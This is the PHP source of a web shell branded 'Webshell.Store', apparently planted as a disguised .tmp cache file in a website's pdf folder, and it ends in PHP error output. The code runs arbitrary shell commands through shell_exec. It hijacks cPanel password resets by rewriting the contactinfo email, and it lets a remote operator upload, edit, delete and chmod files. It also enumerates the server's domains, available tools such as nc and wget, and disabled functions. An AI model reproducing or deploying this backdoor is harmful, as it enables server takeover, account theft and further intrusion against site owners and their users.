} $path = str_replace('\\', '/', $path); $exdir = explode('/', $path); /** * @throws Exception */ function Zip($source, $destination) { if (!extension_loaded('zip')) { throw new Exception('Zip extension not enabled on this server.'); } if (!file_exists($source)) { throw new Exception('File does not exist!'); } class ExtendedZip extends ZipArchive { // Member function to add a whole file system subtree to the archive public function addTree($dirname, $localname = '') { if ($localname) $this->addEmptyDir($localname); $this->_addTree($dirname, $localname); } // Internal function, to recurse protected function _addTree($dirname, $localname) { $dir = opendir($dirname); while ($filename = readdir($dir)) { // Discard . and .. if ($filename == '.' || $filename == '..') continue; // Proceed according to type $path = $dirname . DIRECTORY_SEPARATOR . $filename; $localpath = $localname ? ($localname . DIRECTORY_SEPARATOR . $filename) : $filename; if (is_dir($path)) { // Directory: add & recurse $this->addEmptyDir($localpath); $this->_addTree($path, $localpath); } else if (is_file($path)) { // File: just add $this->addFile($path, $localpath); } } closedir($dir); } // Helper function public static function zipTree($dirname, $zipFilename, $flags = 0, $localname = '') { $zip = new self(); $zip->open($zipFilename, $flags); $zip->addTree($dirname, $localname); $zip->close(); } } ExtendedZip::zipTree($source, $destination, ZipArchive::CREATE); } if (isset($_GET['action']) && $_GET['action'] == 'download') { @ob_clean(); $item = $path . DIRECTORY_SEPARATOR . $_GET['item']; if (is_file($item)) { header('Content-Type: text/plain'); } else if (is_dir($item)) { $new_item = $path . DIRECTORY_SEPARATOR . 'compressed_folder_' . basename($item) . '.zip'; try { Zip($item, $new_item); $item = $new_item; header('Content-type: application/zip'); } catch (Exception $e) { flash($e->getMessage(), "Failed", "error", "?dir=$path"); } } if (is_file($item)) { header('Content-Description: File Transfer'); header('Content-Disposition: attachment; filename="' . basename($item) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($item)); readfile($item); if(isset($new_item) && is_file($new_item)){ unlink($new_item); } exit; } } function flash($message, $status, $class, $redirect = false) { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } $_SESSION["message"] = $message; $_SESSION["class"] = $class; $_SESSION["status"] = $status; if ($redirect) { header('Location: ' . $redirect); exit(); } return true; } function clear() { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } return true; } function writable($path, $perms) { return (!is_writable($path)) ? "" . $perms . "" : "" . $perms . ""; } function perms($path) { $perms = fileperms($path); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fsize($file) { $a = ["B", "KB", "MB", "GB", "TB", "PB"]; $pos = 0; $size = filesize($file); while ($size >= 1024) { $size /= 1024; $pos++; } return round($size, 2) . " " . $a[$pos]; } // CMD function cmd($command) { global $path; if (strpos($command, 'resetcp') !== false) { $email = explode(' ', $command); if (!$email[1] || !filter_var($email[1], FILTER_VALIDATE_EMAIL)) { return "You must specified valid email address. resetcp youremail@example.com"; } $pathcp = explode("/", $path); $text = "---\n\"email\":'$email[1]'"; $file = join('/', [$pathcp[0], $pathcp[1], $pathcp[2]]); $file = $file . '/.cpanel/'; if (file_exists($file . 'contactinfo')) { unlink($file . 'contactinfo'); } file_put_contents($file . 'reset', $text); if (file_exists($file . 'reset')) { rename($file . 'reset', $file . 'contactinfo'); return "Email for reset cpanel changed to '$email[1]'"; } return "Failed to change reset cp email!"; } elseif (function_exists('shell_exec')) { return shell_exec($command . ' 2>&1'); } else { return "Disable Function"; } } function which($p) { $path = cmd('which ' . $p); if (!empty($path)) { return strlen($path); } return false; } function formatSize($bytes) { $types = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++) ; return (round($bytes, 2) . " " . $types[$i]); } function getOwner($item) { if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner($item)); $downer = $downer['name']; } else { $downer = fileowner($item); } if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup($item)); $dgrp = $dgrp['name']; } else { $dgrp = filegroup($item); } return $downer . '/' . $dgrp; } if (isset($_POST['newFolderName'])) { if (mkdir($path . '/' . $_POST['newFolderName'])) { flash("Create Folder Successfully!", "Success", "success", "?dir=$path"); } else { flash("Create Folder Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) { if (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) { flash("Create File Successfully!", "Success", "success", "?dir=$path"); } else { flash("Create File Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newName']) && isset($_GET['item'])) { if ($_POST['newName'] == '') { flash("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if (rename($path . '/' . $_GET['item'], $_POST['newName'])) { flash("Rename Successfully!", "Success", "success", "?dir=$path"); } else { flash("Rename Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newContent']) && isset($_GET['item'])) { // Decode the base64 encoded content from client side $decodedContent = base64_decode($_POST['newContent']); if (file_put_contents($path . '/' . $_GET['item'], $decodedContent)) { flash("Edit Successfully!", "Success", "success", "?dir=$path"); } else { flash("Edit Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newPerm']) && isset($_GET['item'])) { if ($_POST['newPerm'] == '') { flash("You miss an important value", "Ooopss..", "warning", "?dir=$path"); } if (chmod($path . '/' . $_GET['item'], $_POST['newPerm'])) { flash("Change Permission Successfully!", "Success", "success", "?dir=$path"); } else { flash("Change Permission", "Failed", "error", "?dir=$path"); } } if (isset($_GET['action'])) { $action = $_GET['action']; if ($action == 'delete' && isset($_GET['item'])) { function removedir($dir) { if (!file_exists($dir)) { return false; } if (is_file($dir)) { return unlink($dir); } $files = array_diff(scandir($dir), ['.', '..']); foreach ($files as $file) { $path = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($path)) { removedir($path); } else { unlink($path); } } return rmdir($dir); } $item_path = $path . DIRECTORY_SEPARATOR . $_GET['item']; if (is_dir($item_path)) { if (removedir($item_path)) { flash("Delete Folder Successfully!", "Success", "success", "?dir=$path"); } else { flash("Delete Folder Failed", "Failed", "error", "?dir=$path"); } } else if (is_file($item_path)) { if (unlink($item_path)) { flash("Delete File Successfully!", "Success", "success", "?dir=$path"); } else { flash("Delete File Failed", "Failed", "error", "?dir=$path"); } } else { flash("Item not found!", "Failed", "error", "?dir=$path"); } } } if (isset($_FILES['uploadfile'])) { $total = count($_FILES['uploadfile']['name']); for ($i = 0; $i < $total; $i++) { $mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]); } if ($total < 2) { if ($mainupload) { flash("Upload File Successfully! ", "Success", "success", "?dir=$path"); } else { flash("Upload Failed", "Failed", "error", "?dir=$path"); } } else { if ($mainupload) { flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path"); } else { flash("Upload Failed", "Failed", "error", "?dir=$path"); } } } $d0mains = @file("/etc/named.conf", false); if (!$d0mains) { $dom = "Cant read [ /etc/named.conf ]"; $GLOBALS["need_to_update_header"] = "true"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@strstr($d0main, "zone")) { preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } } } $dom = "$count Domain"; } if (strtolower(substr(PHP_OS, 0, 3)) == "win") { $sys = "win"; } else { $sys = "unix"; } if ($sys == 'unix') { $useful = ""; $downloader = ""; if (!@ini_get('safe_mode')) { if (strlen(cmd("id")) > 0) { $userful = ['gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzialfa2', 'nc', 'locate', 'suidperl', 'git', 'docker', 'ssh']; $x = 0; foreach ($userful as $i) { if (which($i)) { $x++; $useful .= $i . ', '; } } if ($x == 0) { $useful = '--------'; } $downloaders = ['wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror']; $x = 0; foreach ($downloaders as $i) { if (which($i)) { $x++; $downloader .= $i . ', '; } } if ($x == 0) { $downloader = '--------'; } } else { $useful = '--------'; $downloader = '--------'; } } else { $useful = '--------'; $downloader = '--------'; } } $ip = gethostbyname($_SERVER['HTTP_HOST']); $uip = $_SERVER['REMOTE_ADDR']; $serv = $_SERVER['HTTP_HOST']; $soft = $_SERVER['SERVER_SOFTWARE']; $cmd_uname = cmd("uname -a"); $uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname) > 0 ? $cmd_uname : 'Uname Error!'); $total = disk_total_space($path); $free = disk_free_space($path); $pers = (int)($free / $total * 100); $ds = @ini_get("disable_functions"); $show_ds = (!empty($ds)) ? "$ds" : "All function is accessible"; if (@ini_get('open_basedir')) { $basedir_data = @ini_get('open_basedir'); if (strlen($basedir_data) > 120) { $open_b = "" . substr($basedir_data, 0, 120) . "..."; } else { $open_b = '' . $basedir_data . ''; } } else { $open_b = 'NONE'; } if (!function_exists('posix_getegid')) { $user = function_exists("get_current_user") ? @get_current_user() : "????"; $uid = function_exists("getmyuid") ? @getmyuid() : "????"; $gid = function_exists("getmygid") ? @getmygid() : "????"; $group = "?"; } else { $uid = function_exists("posix_getpwuid") && function_exists("posix_geteuid") ? @posix_getpwuid(posix_geteuid()) : ["name" => "????", "uid" => "????"]; $gid = function_exists("posix_getgrgid") && function_exists("posix_getegid") ? @posix_getgrgid(posix_getegid()) : ["name" => "????", "gid" => "????"]; $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $dirs = scandir($path); ?> Store : Webshell.Store

Notice: Undefined variable: uname in /home/c43ut3hs/public_html/pdf/cache_8278b45f8542edaeb5979fa342627229.tmp on line 552

Notice: Undefined variable: soft in /home/c43ut3hs/public_html/pdf/cache_8278b45f8542edaeb5979fa342627229.tmp on line 556

Notice: Undefined variable: ip in /home/c43ut3hs/public_html/pdf/cache_8278b45f8542edaeb5979fa342627229.tmp on line 560
 | Your IP:
Notice: Undefined variable: uip in /home/c43ut3hs/public_html/pdf/cache_8278b45f8542edaeb5979fa342627229.tmp on line 560

Notice: Undefined variable: dom in /home/c43ut3hs/public_html/pdf/cache_8278b45f8542edaeb5979fa342627229.tmp on line 564
 [ 
Fatal error: Call to undefined function writable() in /home/c43ut3hs/public_html/pdf/cache_8278b45f8542edaeb5979fa342627229.tmp on line 568